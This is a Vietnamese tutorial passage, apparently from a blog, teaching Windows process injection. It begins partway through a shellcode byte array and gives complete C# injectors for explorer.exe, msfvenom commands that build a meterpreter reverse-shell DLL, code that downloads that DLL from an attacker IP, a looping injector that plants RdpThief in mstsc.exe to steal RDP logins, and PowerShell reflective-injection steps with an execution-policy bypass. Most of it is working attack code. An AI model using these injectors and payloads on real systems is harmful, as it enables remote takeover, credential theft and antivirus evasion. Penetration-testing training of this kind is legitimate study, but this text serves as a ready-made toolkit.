0x04,0x41,0x59,0x49,0xba,0x75,0x46,0x9e,0x86,0x00,0x00,0x00,0x00,0xff,0xd5,
0x4d,0x31,0xc0,0x53,0x5a,0x48,0x89,0xf1,0x4d,0x31,0xc9,0x4d,0x31,0xc9,0x53,
0x53,0x49,0xc7,0xc2,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1f,0x48,
0xc7,0xc1,0x88,0x13,0x00,0x00,0x49,0xba,0x44,0xf0,0x35,0xe0,0x00,0x00,0x00,
0x00,0xff,0xd5,0x48,0xff,0xcf,0x74,0x02,0xeb,0xaa,0xe8,0x55,0x00,0x00,0x00,
0x53,0x59,0x6a,0x40,0x5a,0x49,0x89,0xd1,0xc1,0xe2,0x10,0x49,0xc7,0xc0,0x00,
0x10,0x00,0x00,0x49,0xba,0x58,0xa4,0x53,0xe5,0x00,0x00,0x00,0x00,0xff,0xd5,
0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x89,0xda,0x49,0xc7,
0xc0,0x00,0x20,0x00,0x00,0x49,0x89,0xf9,0x49,0xba,0x12,0x96,0x89,0xe2,0x00,
0x00,0x00,0x00,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb2,0x66,0x8b,
0x07,0x48,0x01,0xc3,0x85,0xc0,0x75,0xd2,0x58,0xc3,0x58,0x6a,0x00,0x59,0x49,
0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5 }; IntPtr outSize; WriteProcessMemory(hProcess,addr,buf , buf.Length, out outSize); IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero); } }
}
  1. Chúng ta tiến hành biên dịch code & thực thi (64bit)

Screenshot_4.png

Ở đây ta thấy PID của Malware đã trùng với PID của explorer

2. DLL Injection

Process Injection cho phép chúng ta đưa shellcode vào một process và thực thi nó. Điều này là khá hiệu quả, tuy nhiên với những codebases lớn hơn hoặc tồn tại DLL từ trước. Chúng ta có thể đưa toàn bộ DLL vào một prcocess thay vì chỉ shellcode đơn thuần

Khi một process cần sử dụng một API từ DLL , nó sẽ gọi tới LoadLibrary API để load nó vảo virtual memory space. Trong trường hợp của chúng ta, chúng ta muốn process sẽ load DLL độc hại thông qua các API Win32.

Tuy nhiên , LoadLibrary không thể được load trên một remote proces, vì vậy chúng ta phải thực hiện số một thủ thuật bắt buộc để buộc một process như explorer.exe load DLL của chúng ta.

Kiểm tra hàm LoadLibrary trên Microsoft ta có

HMODULE LoadLibraryA( [in] LPCSTR lpLibFileName
);

Ta thấy hàm chỉ yêu cầu duy nhất một tham số là "lpLibFileName" : Tên của DLL để load Nhiều API Win32 có hai biến thể với hậu tố "A" hoặc "W". Trong trường hợp này nó sẽ là LoadLibraryA. Nhưng chức năng không thay đổi

Cách tiếp cận của chúng ta sẽ cố gắng đánh lừa process thực thi LoadLibrary với đối số chính xác. Quay lại hàm CreateRemoteThread

HANDLE CreateRemoteThread( [in] HANDLE hProcess, [in] LPSECURITY_ATTRIBUTES lpThreadAttributes, [in] SIZE_T dwStackSize, [in] LPTHREAD_START_ROUTINE lpStartAddress, [in] LPVOID lpParameter, [in] DWORD dwCreationFlags, [out] LPDWORD lpThreadId
);

Chúng ta quan tâm tới 2 tham số

  • lpStartAddress : Địa chỉ bắt đầu của hàm chạy trong thread mới

  • lpParameter: Địa chỉ bộ nhớ của buffer chứa tham số cho hàm đó (Shellcode là IntPtr.Zero do shell thì không có tham số)

Để cung cấp đối số chính xác (DLL độc hại), chúng ta phải cấp phát một "vùng" bên trong process , sau đó copy tên và đường dẫn của DLL vào đó . Địa chỉ của "vùng này" được cung cấp làm đối số lpParameter

Tuy nhiên, có một số hạn chế mà chúng ta sẽ phải xem xét.

Thứ nhất : DLL phải viết bằng C/C++ và phải Unmanaged. DLL được viết trên C# được managed sẽ không hoạt động. Đơn giản chúng ta không thể load DLL managed vào một Process Unmanaged

Tất cả các code mà được viết trong C# đều được trực tiếp thực thi bằng CLR(Common Language Runtime) mà chúng ta không thể can thiệp. CLR giúp quản lý bộ nhớ, xử lý các vấn đề bảo mật và xử lý các biến "rác".

Khắc phục điều này, chúng ta sẽ sử dụng msfvenom để tạo mã

Thứ 2 Thông thường, các DLL chứa các API sẽ được gọi sau khi DLL được load. Để gọi các API này, các ứng dụng phải phân giải tên của của chúng thành memory addresses với hàm GetProcAddress. Tuy nhiên hàm này lại không thể phân giải API với dạng remote process (dạng ta tiêm vào rồi thực thi). Cho nên ta phải tạo những file DLL độc hại non-standard

À chút nữa quên, LoadLibrary chỉ chấp nhận các DLL tồn tại trên Disk. Do đó nó dễ bị phát hiện bởi AV và Blue Team

Có 2 khái niệm chúng ta dễ nhầm lẫn đó là DLL Injection vào DLL Hijacking. Đây là 2 khái niệm hoàn toàn khác nhau. Nếu như DLL injection can thiệp vào process, ép nó phải chạy DLL chúng ta mong muốn thì DLL Hijacking là quá trình tìm kiếm những file DLL có quyền bảo mật yếu - sau tiến hành thay thế nó với DLL độc hại

2.1 DLL Injection với C#

Nguyên liệu :

  • Payload DLL
sudo msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.49.130 LPORT=4444 -f dll -o /var/www/html/malware.dll

pSqScreenshot_2.png

Code cuối cùng chúng ta có

using System;
using System.Diagnostics;
using System.Net;
using System.Runtime.InteropServices;
using System.Text; namespace Inject
{ class Program { [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId); [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")] static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten); [DllImport("kernel32.dll")] static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32.dll", CharSet = CharSet.Auto)] public static extern IntPtr GetModuleHandle(string lpModuleName); static void Main(string[] args) { String dir = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments); String dllName = dir + "\\malware.dll"; WebClient wc = new WebClient(); wc.DownloadFile("http://192.168.1.138:8083/malware.dll", dllName); Process[] expProc = Process.GetProcessesByName("explorer"); int pid = expProc[0].Id; IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid); IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40); IntPtr outSize; Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize); IntPtr loadLib = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA"); IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero); } }
}

Biên dịch và thực thi

cd /var/www/html
python3 -m http.server 8082
msfconsole ****

OIoScreenshot_4.png

Kiểm tra DLL đã tiêm trên máy nạn nhân

  • Mở Process Explorer > Chọn explorer.exe. Tiếp đến ở tab View > Lower Pane View > select DLLs

Ta sẽ thấy DLL độc hại của chúng ta đã được load cùng explorer.exe

2.2. RDP "Keyloggers"

Thông thường, để đánh cắp thông tin đăng nhập RDP hay bất kỳ thông tin nào khác trên máy nạn nhân. Ta có thể nghĩ ngay tới Keyloggers. Tuy nhiên Keyloggers có một điểm yếu chí mạng là nó ghi lại toàn bộ thao tác gõ của người dùng. Khiến khi nhận được nội dung file, ta không thể phân biệt được thông tin nào là thông tin cần dùng để đăng nhập RDP. Module này sẽ hướng dẫn cho chúng ta chuyên biệt hóa nội dung này.

Khi người dùng sử dụng Remote Desktop với mstsc.exe, họ nhập thông tin xác thực dạng clear-text vào ứng dụng. Bằng cách chèn các DLL độc hại vào đây ("mstsc.exe") ta có thể ghi lại thao tác gõ của người sử dụng . DLL độc hại mang tên RdpThief

RdpThief được viết dưới dạng DLL unmanaged và được đưa vào mstsc.exe trước khi ngươi dùng nhập thông tin đăng nhập

Quy trở lại mã DLL injection phía trên

using System;
using System.Diagnostics;
using System.Net;
using System.Runtime.InteropServices;
using System.Text; namespace Inject
{ class Program { [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId); [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")] static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten); [DllImport("kernel32.dll")] static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32.dll", CharSet = CharSet.Auto)] public static extern IntPtr GetModuleHandle(string lpModuleName); static void Main(string[] args) { String dir = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments); String dllName = dir + "\\malware.dll"; WebClient wc = new WebClient(); wc.DownloadFile("http://192.168.1.138:8083/malware.dll", dllName); Process[] expProc = Process.GetProcessesByName("explorer"); int pid = expProc[0].Id; IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid); IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40); IntPtr outSize; Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize); IntPtr loadLib = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA"); IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero); } }
}

Ta nhớ lại chức năng của đoạn code này là Injection malware.dll được tạo ra từ msfvenom cho pocess explorer.exe. Vậy mã sửa đổi ta sẽ thay thế với chức năng injection "RdpThief DLL" vào "mstsc" là xong

uplScreenshot_1.png

Ta tiến hành injection với code sau

static void Main(string[] args)
{ String dllName = "C:\\Tools\\RdpThief.dll"; Process[] mstscProc = Process.GetProcessesByName("mstsc"); int pid = mstscProc[0].Id; IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid); IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40); IntPtr outSize; Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize); IntPtr loadLib = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA"); IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero);
}

Khác với mã trên, yêu cầu nạn nhân phải download DLL về rồi mới LoadlibaryA. Lần này ta tiến hành trỏ thẳng vào DLL độc hại.

Tuy nhiên ta vẫn còn chút lấn cấn ở đây.

Người dùng phải chạy remote desktop trước, sau đó chúng ta phải chạy malware để injection vào process (vì nếu người dùng không chạy trước, thì làm gì có PID để mà injection 😗)

mbhScreenshot_1.png

L2cScreenshot_2.png

Vì không biết khi nào người dùng khởi chạy mstsc.exe để khởi chạy mã độc hại của chúng ta trước khi họ nhập thông tin vào. Khó hơn đánh đề !!!

Để cải thiện điều này, chúng ta có thể sử dụng vòng lặp while tự động phát hiện khi có một tiến trình mstsc.exe được khởi tạo và sau đó injection trước khi người dùng nhập thông tin đăng nhập của mình vào. Chúng ta cũng sử dụng Sleep để tạm dừng 1s giữa mỗi lần lặp

Code hoàn chỉnh sẽ là

using System.Threading;
using System;
using System.Diagnostics;
using System.Net;
using System.Runtime.InteropServices;
using System.Text; namespace Inject { class Program { [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId); [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")] static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten); [DllImport("kernel32.dll")] static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32.dll", CharSet = CharSet.Auto)] public static extern IntPtr GetModuleHandle(string lpModuleName); static void Main(string[] args) { String dllName = "C:\\Tools\\RdpThief.dll"; while (true) { Process[] mstscProc = Process.GetProcessesByName("mstsc"); if (mstscProc.Length > 0) { for (int i = 0; i < mstscProc.Length; i++) { int pid = mstscProc[i].Id; IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid); IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40); IntPtr outSize; Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize); IntPtr loadLib = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA"); IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero); } } Thread.Sleep(1000); } } } }

Sau khi chúng ta thực thi "mã độc", nó sẽ phát hiện bất cứ session nào đang chạy của mstsc và đưa DLL độc hại vào ứng dụng trước khi người dùng nhập thông tin đăng nhập.

3. Reflective DLL Injection

  • Payload DLL
sudo msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.49.130 LPORT=4444 -f dll -o /var/www/html/malware.dll
python -m http.server 8082 

pSqScreenshot_2.png

  • Các bước tiến hành

Mở Powershell với tùy chọn cho phép thực thi script

PowerShell -Exec Bypass

Download DLL Payload

$bytes = (New-Object System.Net.WebClient).DownloadData('http://192.168.49.138:8082/malware.dll')

Tìm process để injection (trong trường hợp này là explorer)

$procid = (Get-Process -Name explorer).Id

Download Invoke-ReflectivePEInjection và thực thi

Import-Module C:\Tools\Invoke-ReflectivePEInjection.ps1
Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid

Output sẽ báo lỗi đỏ nhưng không sao cả , payload vẫn hoạt động bình thường

74SScreenshot_2.png

Kiểm tra DLL đã tiêm trên máy nạn nhân

Không phát hiện DLL malware.dll trên Process Explorer

Tham khảo : Offensive Security

Bình luận

Bài viết tương tự

- vừa được xem lúc

Tìm bug với Eyewitness

. Chào các bạn, trong bài này mình sẽ viết về tool Eyewitness. Eyewiteness có tính năng chính là chụp hình lại giao diện trang web sau đó tạo một report thông qua file .

0 0 35

- vừa được xem lúc

[I passed OSWE] Nguồn gốc và sức mạnh | Tự tin và sự cố gắng

1. Giới thiệu.

0 0 28

- vừa được xem lúc

Tôi đã đánh cắp tên miền của MIT như thế nào?

. Chào cả nhà, lại là mình đây! Hôm này mình mang tới chủ đề mới đó là subdomain takeover hay nói cách đơn giản chiếm subdomain của người khác. Lỗi này rất thú vị và khá đơn giản để tìm kiếm.

0 0 43

- vừa được xem lúc

Keyboard from Scratch: Từ A tới Z

Keyboard from Scratch: Từ A tới Z. Sau khi kết thúc hai phần trước, chúng ta đã có những kiến thức cơ bản về chiếc bàn phím cơ, không để các bạn đợi lâu, ở phần này chúng ta sẽ thực sự bắt tay vào làm

0 0 37

- vừa được xem lúc

Keyboard from Scratch: Debounce

Keyboard from Scratch: Debounce. Bạn đang xem phần hai của một sê ri nhiều phần, nhiều chừng nào, nhiều đến khi nào, thì chưa biết được. . .

0 0 36

- vừa được xem lúc

Keyboard from Scratch: Prototype

Keyboard from Scratch: Prototype. Là một lập trình viên, bàn phím là một vật dụng bạn phải sờ vào hằng ngày, thậm chí số lần bạn sờ nó còn nhiều hơn số lần bạn sờ vào vợ hoặc bạn gái.

0 0 35